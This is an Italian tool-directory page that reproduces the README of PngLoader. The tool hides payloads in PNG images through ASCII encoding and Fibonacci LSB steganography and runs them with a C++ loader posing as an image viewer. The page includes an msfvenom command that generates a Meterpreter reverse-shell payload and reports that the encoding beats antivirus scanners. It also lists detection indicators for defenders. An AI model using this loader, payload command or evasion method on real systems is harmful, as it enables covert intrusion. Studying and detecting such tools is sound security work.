Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PngLoader — Nasconde payload arbitrari nelle immagini PNG usando la codifica nibble-to-ASCII e la steganografia LSB di Fibonacci, con un loader C++ che estrae ed esegue i dati incorporati. | Kitploit
Strumenti/GitHubGitHub/i014n/pngloader
Strumenti DifensiviGenerazione di PayloadExploitShellcodeSteganografiaAnalisi MalwareApprendimento e FormazioneRed TeamingSviluppo Payload
GitHubi014n/pngloader

PngLoader

Nasconde payload arbitrari nelle immagini PNG usando la codifica nibble-to-ASCII e la steganografia LSB di Fibonacci, con un loader C++ che estrae ed esegue i dati incorporati.

312211h 23m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Condividi

PngLoader — Ricerca su payload steganografici

Disclaimer: Questo progetto è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata — penetration testing, competizioni CTF, esercitazioni red-team e studio accademico. Non utilizzarlo contro sistemi senza esplicita autorizzazione scritta.


Panoramica

PngLoader nasconde dati arbitrari all'interno di immagini PNG utilizzando due livelli:

  1. Codifica nibble-to-ASCII — binario → caratteri ASCII stampabili
  2. Steganografia di Fibonacci — dati codificati → pixel sparsi in un PNG
  3. Loader — un "visualizzatore PNG" per Windows che estrae ed esegue i dati nascosti

Avvio rapido

# 1. Generate raw test data
msfvenom -p  windows/x64/meterpreter/reverse_tcp   LHOST=<> LPORT=<>  -f raw -o payload.bin

# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt

# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png

# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex

# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

Demo PoC

Demo PoC


Struttura del progetto

PngLoader/
├── 0.Scripts/
│   ├── TransformRawToEncode.py      # Nibble-to-ASCII encoder/decoder
│   └── HideEncodeToPicture.py       # Fibonacci steganography (embed/extract)
├── 1.Loader/
│   ├── loader_png.cpp               # PNG viewer + steganography extractor
│   ├── loader.cpp                   # Alternate loader (inline buffer)
│   ├── Utils.cpp / Utils.h          # ASCII → binary decoder
│   ├── VirtualBuffer.h/.cpp         # RAII VirtualAlloc wrapper
│   ├── Hearders.h                   # Shared Windows includes
│   └── Loader_png.vcxproj           # Visual Studio project
├── 2.Payloads/
│   └── clean.png                    # Sample cover image
└── readme.md

Come funziona

Fase 1 — Codifica da nibble ad ASCII

Ogni byte viene suddiviso in due nibble da 4 bit. Ogni nibble viene mappato a un carattere ASCII stampabile aggiungendo una base casuale (48, 64 o 96):

Byte 0xFC → high nibble 0xF, low nibble 0xC

High: 48+15=63 '?'  |  64+15=79 'O'  |  96+15=111 'o'
Low:  48+12=60 '<'  |  64+12=76 'L'  |  96+12=108 'l'

Decodifica sfrutta la proprietà modulo-16 — tutte e tre le basi sono multipli di 16:

original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)

La selezione casuale della base significa che lo stesso input produce un output diverso ogni volta, ma la decodifica è sempre deterministica.

BaseIntervalloCaratteri
4848–630123456789:;<=>?
6464–79@ABCDEFGHIJKLMNO
9696–111 `abcdefghijklmno

Fase 2 — Steganografia di Fibonacci

I byte del payload vengono posizionati agli indici dei pixel seguendo la sequenza di Fibonacci (1, 2, 3, 5, 8, 13, 21, …) sull'array di pixel appiattito. Questo distribuisce le modifiche attraverso l'immagine invece di raggrupparle.

Bit packing — ogni byte viene suddiviso 3/3/2 sui LSB RGB:

R: bits 7–5  (3 LSBs)
G: bits 4–2  (3 LSBs)
B: bits 1–0  (2 LSBs)

Wrapping — quando gli indici di Fibonacci superano il numero di pixel, eseguono il wrap tramite modulo. Le collisioni vengono risolte tramite linear probing. Un terminatore 0x00 indica la fine dei dati.

Dimensione immaginePixelCapacità pulita
640×480307.200~27 byte
1920×10802.073.600~31 byte
4000×300012M~35 byte

Con il wrapping abilitato, la capacità massima = total_pixels − 1.

Fase 3 — Loader

Il loader C++ (loader_png.cpp) si comporta come un visualizzatore PNG legittimo:

  1. Visualizza l'immagine normalmente usando GDI+
  2. Estrae i byte nascosti dalle posizioni dei pixel di Fibonacci usando WIC (RGB24)
  3. Decodifica ASCII → binario tramite UtilDecryptFileQuoted() (inversione mod-16)

Algoritmi di posizionamento alternativi

La sequenza di Fibonacci è solo un approccio. Altre strategie di selezione dei pixel offrono diversi compromessi tra capacità e sicurezza:

AlgoritmoCapacità pulita (1080p)Chiave condivisaDistribuzioneCosto
Fibonacci (implementato)~31 byteNoIntervalli esponenzialiMinimo
Prime-Index~150K byteNoIntervalli n·ln(n)Moderato
LFSR~2M byteSì (seed)Pseudo-casualeMinimo
Keyed Permutation~2M byteSì (chiave)CrittograficaAlto
Hilbert CurveDipende dallo strideNoSpazialmente uniformeModerato
Golden Ratio (Weyl)~2M byteNoBassa discrepanzaMinimo
Dettagli su ciascun algoritmo

Prime-Index — Gli indici dei pixel sono numeri primi (2, 3, 5, 7, 11…). I numeri primi crescono come n·ln(n), offrendo una capacità pulita molto superiore rispetto a Fibonacci.

LFSR — Un Linear Feedback Shift Register a lunghezza massima produce una permutazione pseudo-casuale. Il seed funge da segreto condiviso. Zero collisioni per l'intero periodo.

Keyed Permutation (Fisher-Yates) — Uno shuffle di tutti gli indici dei pixel inizializzato con un CSPRNG. Le posizioni sono indistinguibili da quelle casuali senza la chiave.

Hilbert Curve — Percorre i pixel lungo una curva space-filling con uno stride. Distribuisce le modifiche in modo uniforme sull'area 2D dell'immagine.

Golden Ratio (Weyl Sequence) — pos(n) = floor(n × φ × total) mod total. Produce la distribuzione 1D più uniforme possibile. Banale da calcolare.


Risultati della scansione

Payload grezzo — 7/13 scanner lo rilevano:

Scansione del payload grezzo

Dopo la codifica — 0/13 scanner lo rilevano:

Scansione del payload codificato


Indicazioni per il rilevamento

Per il blue-team / difensori:

LivelloIndicatore
StaticoImport: VirtualAllocEx, WriteProcessMemory, SetThreadContext
ImmagineLa steganalisi chi-quadro sui piani LSB rileva le modifiche
ComportamentaleCreazione di processi sospesi + iniezione di thread remoti (Sysmon EID 1+8)
CodificaCaratteri esclusivamente da tre intervalli ASCII da 16 caratteri

Build e dipendenze

Python:

pip install numpy Pillow

Loader C++:

  • Visual Studio 2019+ con workload C++ Desktop
  • Windows 10+ SDK
  • Aprire 1.Loader/Loader_png.vcxproj → Build Release x64

Riferimenti

  • LSB Steganography
  • Fibonacci Sequence
  • Windows Imaging Component

Licenza

Solo per ricerca sulla sicurezza educativa e autorizzata. Vedere la dichiarazione di non responsabilità sopra.

Scarica lo strumento